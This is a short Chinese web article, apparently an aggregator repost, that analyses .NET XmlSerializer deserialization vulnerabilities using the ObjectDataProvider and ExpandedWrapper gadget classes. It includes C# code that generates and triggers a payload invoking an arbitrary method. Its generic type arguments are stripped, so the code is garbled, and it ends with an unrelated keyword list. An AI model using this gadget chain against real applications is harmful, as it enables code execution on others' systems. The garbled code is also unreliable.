.Net反序列化漏洞XmlSerializer的示例分析
发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,小编今天带大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案
千家信息网最后更新 2025年02月23日.Net反序列化漏洞XmlSerializer的示例分析
小编今天带大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习".Net反序列化漏洞XmlSerializer的示例分析"的知识吧。
条件:
初始化对象时,类型可控:new XmlSerializer(type可控)
反序列化对象时,输入内容可控:serializer.Deserialize(fi可控)
两个关键类:ObjectDataProvider, ExpandedWrapper
//PresentationFramework.dll v4.0.0.0System.Windows.Data.ObjectDataProvider//System.Data.Services.dll v4.0.0.0System.Data.Services.Internal.ExpandedWrapper
Payload生成:
public static void serializeObjectWithXmlSer() { ExpandedWrappereobj = new ExpandedWrapper (); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper )); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Class2(); eobj.ProjectedProperty0.MethodName = "writeFile"; eobj.ProjectedProperty0.MethodParameters.Add("xxxxx"); eobj.ProjectedProperty0.MethodParameters.Add("ser.txt"); TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt"); serializer.Serialize(fo, eobj); fo.Close(); }
触发Payload:
public static void deserializeObjectWithXmlSer() { XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper)); TextReader fi = new StreamReader("d:/tmp/xmlser.txt"); ser.Deserialize(fi); fi.Close(); }
感谢大家的阅读,以上就是".Net反序列化漏洞XmlSerializer的示例分析"的全部内容了,学会的朋友赶紧操作起来吧。相信小编一定会给大家带来更优质的文章。谢谢大家对网站的支持!
序列
漏洞
示例
分析
内容
朋友
对象
文章
知识
跟着
问题
帮助
两个
关键
就是
更多
条件
来吧
知识点
答案
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
178战舰世界数据库
如何维护网络安全和预防网络风险
北京亿盾互联网科技有限公司
轻量应用服务器
sw异形孔向导数据库丢失
失落方舟俄服选哪个服务器
存储介质属于数据库软件吗
数据库 设计 书籍
企业被公安要求网络安全整改
推客网络技术有限公司
自己写一个车辆数据库
在日本计算机网络技术薪资
数据库sqlite可视化操作
doris数据库书籍
关于网络安全的安全演讲
ssm循环添加数据库
数据库修改登录名与用户名
mysql语言创建数据库
大华摄像头服务器ip
莱州微信公众号软件开发公司
服务器怎么建立ftp
网络安全普及宣传活动
医保局网络安全工作
机架服务器 管理端口
数据库通常使用表示空值
软件开发笔记本求推荐
辽宁苹果软件开发费用
怎么看数据库技术
分盘会员软件开发
建设银行软件开发公司